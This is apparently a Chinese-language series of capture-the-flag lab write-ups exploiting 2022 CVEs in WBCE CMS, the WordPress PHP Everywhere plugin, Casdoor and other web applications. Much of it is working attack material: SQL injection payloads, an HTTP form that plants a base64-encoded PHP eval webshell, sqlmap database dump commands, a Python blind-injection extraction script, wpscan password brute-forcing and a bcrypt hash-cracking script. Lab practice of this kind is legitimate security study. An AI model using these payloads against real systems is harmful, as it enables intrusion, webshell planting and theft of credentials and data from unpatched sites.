CVE-2022-25411

image-20230119175312775

image-20230119180100911

image-20230119180113772

这个模板有bug 需要添加 index.php才能访问 但是静态文件中又没加

image-20230119205749575

密码 admin admin888

image-20230119205919706

image-20230119210425390

image-20230119210454465

image-20230119210549789

image-20230119210654986

image-20230119210706724

CVE-2022-25401

image-20230120172233831

image-20230120172246097

image-20230120175058851

安装完成访问不了可以删除 installation文件夹

框架洞挺多的

alert这里三个文件包含

image-20230120211134247

这里存在一个任意sql语句执行

image-20230120211229938

这里跟进api()看一下

image-20230120211320853

这里可以看到自定义了一个 key请求头 并且通过 sanitizeString() 方法的过滤执行了sql语句

image-20230120211403903

跟进去发现并没有预防sql注入

image-20230120211453009

添加请求头尝试一下

image-20230120211536818

image-20230120211718184

可以看到sql语句

这里可以很明显发现是一个布尔盲注

image-20230120212034352

image-20230120212041713

那么怎么扩大危害呢

那么我们尝试使api返回true然后执行任意sql语句

image-20230120212129478

image-20230120212243876

可以看到这里是0 那么我们现在可以让他返回1

image-20230120212308738

image-20230120212323932

image-20230120212410522

类似的思路在 api/index.php 中还存在一个任意代码执行

image-20230120212507498

同样的逻辑

image-20230120212519792

这里的关键在于如何构造函数

image-20230120212732029

image-20230120212640378

简单看一下就知道是将function作为执行函数 将其余post参数的值作为执行参数

还有其他洞可以去 github查看

image-20230120212820187

但是这里远程无法实现 猜测是代理的问题

这里用alerts下的文件包含了

image-20230120213621635

CVE-2022-25099

image-20230121002656595

image-20230121002647737

这里审了一下代码 account/confirm.php 这里没有做权限认证

image-20230121144752178

并且传入了一个id参数

image-20230121144839166

直接拼接进数据库查询了

这里也好绕过

preg_match('/[0-9a-f]{32}/i'
/account/confirm.php?id=id=12345678901234567890123456789012%27+or+sleep(5)%23

可以看到sql语句

image-20230121145046945

我们尝试万能语句试一下

/account/confirm.php?id=id=12345678901234567890123456789012%27+or+true%23

但是在这里会抛出异常 不能继续向下走了 所以只能用时间盲注

image-20230121145502346

其次在 modules/miniform/ajax_delete_message.php 还存在一处报错注入

首先这里没有做权限认证

这里传入了几个post参数

image-20230121145858079

image-20230121150400825

几个参数传入了下面的delete语句

image-20230121150618578

可以看到这里进行了拼接 拼接成了数据库的表 我们从数据库里面随便选一个就行了

image-20230121150653073

我们首先尝试如此构造

DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id&iRecordID=-1 or updatexml(1,concat('$',(database())),0)#

image-20230123122728552

可以看到这里的sql语句变成了这样

这里的主要原因就是 上面进行了处理强制转换成 -1了

那么我们可以在DB_COLUMN上面进行拼接

DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id` = -1 or updatexml(1,concat('$',(database())),0)#&iRecordID=-1

image-20230123122927005

创建的语句就像这样了

image-20230123123326192

文件包含获取shell

image-20230123133151341

先传一个png

image-20230123133308688

这里发现需要是zip

但是还是报错

image-20230123134708851

这里直接拿过报错语句来全局搜索

image-20230123134747879

image-20230123134803097

可以看到这里有两个print_error

我们在这里都下上断点

image-20230123134844033

发现在这里断住了

这里也很简单 就是检查你的zip有没有info.php

那么我们添加一个就行

image-20230123135124170

过去之后就发现这里包含了这个info.php

image-20230123135143117

靶场

DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id` = -1 or updatexml(1,concat('$',(select username from wbce_users)),0)#&iRecordID=-1

image-20230123141831627

DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id` = -1 or updatexml(1,concat('$',(select MID(password,1,32) from wbce_users)),0)#&iRecordID=-1

image-20230123142407866

$2y$10$DyO3SwEqxIA5wk7uygQ5o.PE0
DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id` = -1 or updatexml(1,concat('$',(select MID(password,32,64) from wbce_users)),0)#&iRecordID=-1

image-20230123142344977

Qwg\/jQ37JPs2R2ARNOaGNz0kr3Na
$2y$10$DyO3SwEqxIA5wk7uygQ5o.PE0Qwg\/jQ37JPs2R2ARNOaGNz0kr3Na

这里多了个转义符

$2y$10$DyO3SwEqxIA5wk7uygQ5o.PE0Qwg/jQ37JPs2R2ARNOaGNz0kr3Na

看下怎么加密的

image-20230123144025018

登录一下就行

image-20230123143859762

<?php
$f = fopen("./top6000.txt",'r');
while (!feof($f)){
$pass = fgets($f);
$pass = str_replace("\n","",$pass);
if (password_verify($pass, '$2y$10$DyO3SwEqxIA5wk7uygQ5o.PE0Qwg/jQ37JPs2R2ARNOaGNz0kr3Na') === true){
echo "\n"."\n"."\n".$pass;
break;
}

}
fclose($f);

image-20230123153729228

image-20230123153911315

CVE-2022-24663

wpscan --url http://eci-2ze48bjbojzs44adoaeh.cloudeci1.ichunqiu.com/ --enumerate u

image-20230124163632777

wpscan --url http://eci-2ze48bjbojzs44adoaeh.cloudeci1.ichunqiu.com/ -U test -P top1000.txt

image-20230124165842478

test test 登录

image-20230124164603922

 <form
action="http://eci-2ze48bjbojzs44adoaeh.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
method="post"
>
<input name="action" value="parse-media-shortcode" />
<textarea name="shortcode">
[php_everywhere] <?php file_put_contents("/var/www/html/1.php", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJ6ZiJdKTs/Pg==")); ?>[/php_everywhere]</textarea
>
<input type="submit" value="Execute" />
</form>

将action 替换成你自己的

image-20230124164822630

image-20230124164844004

image-20230124164950309

image-20230124165053591

cd wp-content/plugins
tar -zcvf every.tar.gz php-everywhere

image-20230124165644330

image-20230124165706379

记得启用

image-20230124171511788

image-20230124171534730

下断点之后发现停在这里 这里也很简单就三个eval 都下上就行了

image-20230124175258657

这里在这里注册了 短代码

CVE-2022-24263

image-20230124180024253

image-20230124180028673

image-20230124180049718

image-20230124181239806

image-20230124181510184

python .\sqlmap.py  --batch -r D:\Download\sql.txt

image-20230124181514948

python .\sqlmap.py  --batch -r D:\Download\sql.txt --dbs

image-20230124181819326

python .\sqlmap.py  --batch -r D:\Download\sql.txt -D ctf --tables

image-20230124182529909

python .\sqlmap.py  --batch -r D:\Download\sql.txt -D ctf -T flag --columns

image-20230124182747348

python .\sqlmap.py  --batch -r D:\Download\sql.txt -D ctf -T flag -C flag --dump

image-20230124183332849

CVE-2022-24223

image-20230119171441638

image-20230124185517702

image-20230124191359875

python .\sqlmap.py  --batch -r D:\Download\sql.txt

image-20230124191603889

python .\sqlmap.py  --batch -r D:\Download\sql.txt --dbs

image-20230124191619317

python .\sqlmap.py  --batch -r D:\Download\sql.txt -D atomcms --tables

image-20230124191739390

python .\sqlmap.py  --batch -r D:\Download\sql.txt -D atomcms -T flag --columns

image-20230124191835109

python .\sqlmap.py  --batch -r D:\Download\sql.txt -D atomcms -T flag -C flag --dump

image-20230124191840687

CVE-2022-24124

image-20230124223114297

https://github.com/casdoor/casdoor/releases?expanded=true&page=40

image-20230124223054063

安装失败换一下go的源

image-20230124223801202

注入的代码在这里 但是看不懂

image-20230124230308516

http://eci-2zejd3100ns2pph9u61c.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=updatexml(1,version(),3)

image-20230124231536297

使用报错注入可以注出版本号 但是注入其他语句的时候却不行

image-20230124231622707

这里在github还发现一种注入方式 利用盲注读取数据

image-20230124231459269

http://eci-2zejd3100ns2pph9u61c.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring(user(),1,1) = 'r') <> name

image-20230124231704409

http://eci-2zejd3100ns2pph9u61c.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring(user(),1,1) = '0') <> name

image-20230124231724083

呈现两种结果

import requests
result = ""
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
if chr(head) ==';':
head+=1
continue
url = "http://eci-2zejd3100ns2pph9u61c.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field="
payload = "select 123"
# 查数据库 casdoor
payload = "select group_concat(schema_name) from information_schema.schemata "
# 查表 flag
payload = "select group_concat(table_name) from information_schema.tables where table_schema='casdoor'"
# 查字段 f1ag
payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
# 查flag
payload = "select group_concat(flag) from flag"
url = url+f"(substring(({payload}),1,{i}) = '{result+chr(head)}') <> name"
# print(url)
r = requests.get(url)

if "admin" in r.text:
result+=chr(head)
print(result)
break
head += 1

image-20230124235935354

image-20230125000615145

image-20230125000753248

image-20230125001017568

CVE-2022-23906

image-20230129173255569

admin 123456

image-20230129173347071

image-20230129173411451

image-20230129173430334

image-20230129173502630

CVE-2022-23880

admin tao

image-20230129173746014

image-20230129173819613

image-20230129173951284

image-20230129174007237

CVE-2022-23366

image-20230130115204872

python .\sqlmap.py  --batch -r D:\Download\sql.txt -dbs

image-20230130115651957

python .\sqlmap.py  --batch -r D:\Download\sql.txt -D ctf -T flag -C flag --dump

image-20230130120345695